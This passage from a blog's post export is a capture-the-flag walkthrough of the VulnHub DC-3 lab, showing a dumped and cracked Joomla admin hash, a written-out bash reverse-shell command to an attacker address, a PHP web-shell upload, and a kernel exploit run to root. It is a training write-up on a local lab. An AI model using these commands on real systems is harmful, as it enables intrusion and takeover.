retrieved: '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu'\n&#91;08:15:27] &#91;INFO] retrieved: 'admin'\nDatabase: joomladb\nTable: #__users\n&#91;1 entry]\n+--------+--------------------------+-----+----------------------------------------------------------------------------------------------+-----\n| name   | email                    | id  | params                                                                                       | password                                                     | username |\n+--------+--------------------------+-----+----------------------------------------------------------------------------------------------+-----\n| admin  | freddy@norealaddress.net | 629 | {\"admin_style\":\"\",\"admin_language\":\"\",\"language\":\"\",\"editor\":\"\",\"helpsite\":\"\",\"timezone\":\"\"} | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu | admin    |\n+--------+--------------------------+-----+----------------------------------------------------------------------------------------------+-----\n<\/code><\/pre>\n\n\n\n<p>John was able to easily crack the password for me.<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-97292c83a20470aa5d4a095a4293e3f6\"><code>\u250c\u2500\u2500(kali\u327fkali)-&#91;~\/Downloads\/ctf\/dc-3]\n\u2514\u2500$ john hash.txt                                            \nUsing default input encoding: UTF-8\nLoaded 1 password hash (bcrypt &#91;Blowfish 32\/64 X3])\nCost 1 (iteration count) is 1024 for all loaded hashes\nWill run 6 OpenMP threads\nProceeding with single, rules:Single\nPress 'q' or Ctrl-C to abort, almost any other key for status\nAlmost done: Processing the remaining buffered candidate passwords, if any.\nProceeding with wordlist:\/usr\/share\/john\/password.lst\nsnoopy           (?)     \n1g 0:00:00:00 DONE 2\/3 (2025-07-08 08:17) 2.941g\/s 158.8p\/s 158.8c\/s 158.8C\/s 123456..trustno1\nUse the \"--show\" option to display all of the cracked passwords reliably\nSession completed.<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Initial Access<\/h2>\n\n\n\n<p>According to <a class=\"\" href=\"https:\/\/book.hacktrickshacktricks.wiki\/en\/network-services-pentesting\/pentesting-web\/joomla.html?highlight=joomla#joomla\">HackTricks<\/a>, we can exploit an RCE vulnerability in the templates area since we have admin credentials. This worked perfectly:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"529\" height=\"58\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-22.png\" alt=\"\" class=\"wp-image-284\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-22.png 529w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-22-300x33.png 300w\" sizes=\"auto, (max-width: 529px) 100vw, 529px\" \/><\/figure>\n\n\n\n<p>Next, I tried to get a reverse shell using the following method:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-33092a4ca9fe8875bcb1c7f44ab65ed1\"><code>curl -s \"http:\/\/10.0.2.18\/templates\/protostar\/error.php?cmd=bash -i >&amp; \/dev\/tcp\/10.0.2.5\/4444 0>&amp;1\"<\/code><\/pre>\n\n\n\n<p>But that didn\u2019t seem to work, and encoding the characters didn\u2019t help either.<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-78f2b9bbeabbbd34334e4c280d12201c\"><code>bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.2.5%2F4444%200%3E%261<\/code><\/pre>\n\n\n\n<p>So I uploaded my own page using the default PentestMonkey PHP script:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"797\" height=\"174\" src=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-23.png\" alt=\"\" class=\"wp-image-286\" srcset=\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-23.png 797w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-23-300x65.png 300w, https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-23-768x168.png 768w\" sizes=\"auto, (max-width: 797px) 100vw, 797px\" \/><\/figure>\n\n\n\n<p>Always good to have a backup, hehe.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Getting root<\/h2>\n\n\n\n<p>I was stuck for a while since I couldn\u2019t find any useful information. Then I ran LinPeas, which revealed that the kernel was outdated. This pointed me to CVE-2016-4557, with a proof of concept available here: <a class=\"\" href=\"https:\/\/project-zero.issues.chromium.org\/issues\/42452340\">https:\/\/project-zero.issues.chromium.org\/issues\/42452340<\/a>. So, I decided to give it a try:<\/p>\n\n\n\n<pre class=\"wp-block-code has-vivid-purple-color has-text-color has-link-color wp-elements-d1485f99f5d965e161a13c2bff3cbe9e\"><code>www-data@DC-3:\/var\/tmp$ ls\n39772.zip\nwww-data@DC-3:\/var\/tmp$ unzip 39772.zip \nArchive:  39772.zip\n   creating: 39772\/\n  inflating: 39772\/.DS_Store         \n   creating: __MACOSX\/\n   creating: __MACOSX\/39772\/\n  inflating: __MACOSX\/39772\/._.DS_Store  \n  inflating: 39772\/crasher.tar       \n  inflating: __MACOSX\/39772\/._crasher.tar  \n  inflating: 39772\/exploit.tar       \n  inflating: __MACOSX\/39772\/._exploit.tar  \nwww-data@DC-3:\/var\/tmp$ cd 39772\nwww-data@DC-3:\/var\/tmp\/39772$ tar -xzf exploit.tar \ngzip: stdin: not in gzip format\ntar: Child returned status 1\ntar: Error is not recoverable: exiting now\nwww-data@DC-3:\/var\/tmp\/39772$ tar -xvf exploit.tar \nebpf_mapfd_doubleput_exploit\/\nebpf_mapfd_doubleput_exploit\/hello.c\nebpf_mapfd_doubleput_exploit\/suidhelper.c\nebpf_mapfd_doubleput_exploit\/compile.sh\nebpf_mapfd_doubleput_exploit\/doubleput.c\nwww-data@DC-3:\/var\/tmp\/39772$ cd ebpf_mapfd_doubleput_exploit\/\nwww-data@DC-3:\/var\/tmp\/39772\/ebpf_mapfd_doubleput_exploit$ .\/compile.sh\ndoubleput.c: In function 'make_setuid':\ndoubleput.c:91:13: warning: cast from pointer to integer of different size &#91;-Wpointer-to-int-cast]\n    .insns = (__aligned_u64) insns,\n             ^\ndoubleput.c:92:15: warning: cast from pointer to integer of different size &#91;-Wpointer-to-int-cast]\n    .license = (__aligned_u64)\"\"\n               ^\nwww-data@DC-3:\/var\/tmp\/39772\/ebpf_mapfd_doubleput_exploit$ .\/doubleput \nstarting writev\nwoohoo, got pointer reuse\nwritev returned successfully. if this worked, you'll have a root shell in &lt;=60 seconds.\nsuid file detected, launching rootshell...\nwe have root privs now...\nroot@DC-3:\/var\/tmp\/39772\/ebpf_mapfd_doubleput_exploit# id\nuid=0(root) gid=0(root) groups=0(root),33(www-data)\nroot@DC-3:\/var\/tmp\/39772\/ebpf_mapfd_doubleput_exploit# cd \/root\nroot@DC-3:\/root# ls\nthe-flag.txt\nroot@DC-3:\/root# cat the-flag.txt \n __        __   _ _   ____                   _ _ _ _ \n \\ \\      \/ \/__| | | |  _ \\  ___  _ __   ___| | | | |\n  \\ \\ \/\\ \/ \/ _ \\ | | | | | |\/ _ \\| '_ \\ \/ _ \\ | | | |\n   \\ V  V \/  __\/ | | | |_| | (_) | | | |  __\/_|_|_|_|\n    \\_\/\\_\/ \\___|_|_| |____\/ \\___\/|_| |_|\\___(_|_|_|_)\n                                                     \n\nCongratulations are in order.  :-)\n\nI hope you've enjoyed this challenge as I enjoyed making it.\n\nIf there are any ways that I can improve these little challenges,\nplease let me know.\n\nAs per usual, comments and complaints can be sent via Twitter to @DCAU7\n\nHave a great day!!!!\n<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">\ud83d\udcd8 <strong>Lessons Learned<\/strong><\/h1>\n\n\n\n<p>\u2705 Getting faster at these CTFs \u2014 what once felt tough is now almost \u201ceasy\u201d thanks to recognizing common patterns<\/p>\n\n\n\n<p>\u2705 Always have multiple ways to get a shell \u2014 escaping rbash with <code>vi<\/code>, spawning tty shells with Meterpreter, etc.<\/p>\n\n\n\n<p>\u2705 Hidden hints often appear in unexpected places like databases or uncommon service ports \u2014 thorough enumeration pays off<\/p>\n\n\n\n<p>\u2705 Combining automated tools (sqlmap, Metasploit plugins) with manual techniques is essential for efficiency<\/p>\n\n\n\n<p>\u2705 Paying close attention to user permissions and roles can reveal privilege boundaries and potential escalation paths<\/p>\n\n\n\n<p>\u2705 Patience and curiosity are key \u2014 don\u2019t rush; sometimes the smallest misconfigurations open the door<\/p>\n\n\n\n<p>This series reinforced that success in CTFs isn\u2019t just about technical skills, but also about mindset: staying adaptable, exploring different angles, and building a versatile toolbox of techniques.<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>As part of my prep for the CEH Practical, I wanted to sharpen my enumeration and exploitation workflow with realistic machines. The DC series on VulnHub offers exactly that \u2014 legal, local, and logically progressive CTFs. In this post, I walk through DC-1, DC-2, and DC-3. No fancy tools needed \u2014 just good ol\u2019 enumeration, [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"site-container-style":"default","site-container-layout":"default","site-sidebar-layout":"default","disable-article-header":"default","disable-site-header":"default","disable-site-footer":"default","disable-content-area-spacing":"default","footnotes":""},"categories":[8],"tags":[],"class_list":["post-259","post","type-post","status-publish","format-standard","hentry","category-ctf"],"_links":{"self":[{"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/posts\/259","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=259"}],"version-history":[{"count":16,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/posts\/259\/revisions"}],"predecessor-version":[{"id":291,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=\/wp\/v2\/posts\/259\/revisions\/291"}],"wp:attachment":[{"href":"https:\/\/hackingwithj.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=259"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=259"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hackingwithj.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=259"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}